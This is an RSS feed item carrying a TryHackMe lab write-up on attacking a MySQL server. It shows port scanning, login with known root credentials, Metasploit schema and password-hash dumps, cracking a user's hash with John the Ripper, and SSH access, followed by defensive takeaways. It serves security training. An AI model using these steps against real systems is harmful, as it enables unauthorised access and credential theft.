<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Michael Muratov</title><link>https://michaelmuratov.com/tags/mysql/</link><description>Recent content on Michael Muratov</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 20 Oct 2024 00:00:00 +0000</lastBuildDate><atom:link href="https://michaelmuratov.com/tags/mysql/index.xml" rel="self" type="application/rss+xml"/><item><title>TryHackMe - SQL</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-sql-room/</link><pubDate>Sun, 20 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-sql-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 TryHackMe Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 TryHackMe Network Services Room</a></p>
      </div>
  </div><h3 id="initial-reconnaissance">Initial Reconnaissance</h3>
<p>The first step in exploiting a MySQL database is identifying whether the target machine has an exposed MySQL port. By default, MySQL runs on port 3306, but this can be customized by the system administrator, so it&rsquo;s important to scan for common open ports. Typically you can attempt to connect to the MySQL server using common credentials or perform a brute force attack if no rate-limiting is in place.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Starting Nmap 7.60 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-10-06 02:34 BST
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">Nmap scan report <span class="k">for</span> ip-10-10-244-95.eu-west-1.compute.internal <span class="o">(</span>10.10.244.95<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Host is up <span class="o">(</span>0.0012s latency<span class="o">)</span>.
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Not shown: <span class="m">998</span> closed ports
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">PORT     STATE SERVICE
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">22/tcp   open  ssh
</span></span><span class="line"><span class="ln">10</span><span class="cl">3306/tcp open  mysql
</span></span><span class="line"><span class="ln">11</span><span class="cl">MAC Address: 02:59:70:A7:8E:95 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 1.67 seconds</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-sS</strong> to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The <strong>-T4</strong> flag sets the timing template to be faster than the default, balancing speed and accuracy. The <strong>-F</strong> flag specifies a fast scan that targets the top 100 most common ports. The <strong>-oN output.txt</strong> flag saves the scan results in a normal format to a file named <strong>output.txt</strong>. Finally, <strong>$IP</strong> specifies the target IP address for the scan.</p>
      </div>
  </div><h4 id="using-stolen-credentials">Using stolen credentials</h4>
<p>For this box we already know the credentials of the MySQL server <code>username: root</code> and <code>password:password</code> obtained previously and we&rsquo;ll be using this to gain further access on the server. Once connected and authenticated using the credentials we can enumerate the database to gather more information about the system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">username</span><span class="o">=</span>root
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-22-136:~#  mysql -h <span class="nv">$IP</span> -u <span class="nv">$username</span> -p
</span></span><span class="line"><span class="ln">3</span><span class="cl">Enter password: password</span></span></code></pre></div>
<h3 id="enumeration">Enumeration</h3>
<p>We&rsquo;ll be using modules from Metasploit to extract information from the database. First thing we&rsquo;ll do is submit an authenticated request to show the databases present on the MySQL server. We can do this by setting the <code>RHOSTS, USERNAME, PASSWORD</code> to the ip and credentials of the server and by initiating the SQL <code>show databases</code> query command.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msfconsole
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 &gt; use auxiliary/admin/mysql/mysql_sql
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> SQL show databases
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">Module options <span class="o">(</span>auxiliary/admin/mysql/mysql_sql<span class="o">)</span>:
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">   Name  Current Setting  Required  Description
</span></span><span class="line"><span class="ln">12</span><span class="cl">   ----  ---------------  --------  -----------
</span></span><span class="line"><span class="ln">13</span><span class="cl">   SQL   show databases   yes       The SQL to execute.
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">19</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">20</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">26</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">27</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">28</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">29</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running module against 10.10.244.95
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Sending statement: <span class="s1">&#39;show databases&#39;</span>...
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> information_schema <span class="p">|</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> mysql <span class="p">|</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> performance_schema <span class="p">|</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> sys <span class="p">|</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="reading-mysql-database">Reading MySQL Database</h4>
<p>We can further analyze the structure of the MySQL database by dumping the schema of all tables using the Metasploit module <code>mysql_schemadump</code>. This module allows us to retrieve the database schema, which includes detailed information about the structure of the databases, tables, columns, data types, and relationships between different tables within the MySQL server. This information can be critical for targeted exploitation. For example, knowing the names and structures of the tables enables us to focus on tables that likely contain sensitive information, such as <code>users, passwords, sessions, or admin</code>.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 &gt; use auxiliary/admin/mysql/mysql_schemadump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/mysql/mysql_schemadump<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   Name             Current Setting  Required  Description
</span></span><span class="line"><span class="ln">10</span><span class="cl">   ----             ---------------  --------  -----------
</span></span><span class="line"><span class="ln">11</span><span class="cl">   DISPLAY_RESULTS  <span class="nb">true</span>             yes       Display the Results to the Screen
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">17</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">18</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">24</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">25</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">26</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">27</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">   THREADS   <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>maxone per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl">- TableName: x<span class="nv">$waits_global_by_latency</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    Columns:
</span></span><span class="line"><span class="ln">35</span><span class="cl">    - ColumnName: events
</span></span><span class="line"><span class="ln">36</span><span class="cl">      ColumnType: varchar<span class="o">(</span>128<span class="o">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    - ColumnName: total
</span></span><span class="line"><span class="ln">38</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">39</span><span class="cl">    - ColumnName: total_latency
</span></span><span class="line"><span class="ln">40</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">41</span><span class="cl">    - ColumnName: avg_latency
</span></span><span class="line"><span class="ln">42</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">43</span><span class="cl">    - ColumnName: max_latency
</span></span><span class="line"><span class="ln">44</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">45</span><span class="cl">
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="mysql-hashdump">MySQL Hashdump</h4>
<p>We will also use the <code>mysql_hashdump</code> module which is a powerful tool used to extract password hashes from a MySQL server, which can then be leveraged for further attacks. By using this module, attackers can retrieve hashed password values stored within the MySQL user table, typically located in the user table. In this case we were able to identify the entry <code>carl</code> with its corresponding password hash.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 &gt; auxiliary/scanner/mysql/mysql_hashdump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/mysql/mysql_hashdump<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">12</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">13</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">19</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">20</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">21</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">22</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">   THREADS   <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>max one per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: root:
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h3 id="cracking-the-hash">Cracking the Hash</h3>
<p>We can use John the Ripper, a popular password-cracking tool, to reverse-engineer the hash into its original ASCII format. John the Ripper works by taking the hashed password and comparing it against a large set of potential plaintext passwords, which are hashed in the same algorithm. If it finds a match, it reveals the original password.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nb">echo</span> carl:*EA031893AA21444B170FC2162A56978B8CEECE18 &gt; hash.txt
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-22-136:~# john hash.txt
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Proceeding with wordlist:/opt/john/password.lst
</span></span><span class="line"><span class="ln">5</span><span class="cl">Proceeding with incremental:ASCII
</span></span><span class="line"><span class="ln">6</span><span class="cl">doggie           <span class="o">(</span>carl<span class="o">)</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">1g 0:00:00:02 DONE 3/3 <span class="o">(</span>2024-10-06 02:57<span class="o">)</span> 0.4566g/s 1043Kp/s 1043Kc/s 1043KC/s doggie..doggia</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses John the Ripper in its default configuration, utilizing a built-in word list to attempt to crack the single password hash stored in the text file.&quot;</p>
      </div>
  </div><h3 id="accessing-the-mysql-server">Accessing the MySQL Server</h3>
<p>Having access to the username and password allows us to SSH directly into the server and gain access to its resources directly.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# ssh carl@10.10.244.95
</span></span><span class="line"><span class="ln">2</span><span class="cl">carl@10.10.244.95<span class="err">&#39;</span>s password: doggie
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Welcome to Ubuntu 18.04.4 LTS <span class="o">(</span>GNU/Linux 4.15.0-96-generic x86_64<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">carl@polomysql:~$</span></span></code></pre></div>
<h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>Credential-Based Exploitation:</strong> Gaining access to MySQL using known credentials (like root with a weak password) can lead to control over the database and server, emphasizing the importance of strong, unique credentials and limiting root access.</p>
</li>
<li>
<p><strong>Metasploit Modules as Recon Tools:</strong> Metasploit&rsquo;s mysql_schemadump and mysql_hashdump modules are effective for looking into database structure and extracting sensitive data like password hashes.</p>
</li>
<li>
<p><strong>Importance of Salting:</strong> Salting passwords before hashing significantly strengthens security by making brute force and rainbow table attacks impractical, as each password hash becomes unique, removing the effectiveness of tools like John the Ripper. This highlights the importance of using salts in password storage to mitigate hash-cracking attacks.</p>
</li>
</ul>
]]></content:encoded></item></channel></rss>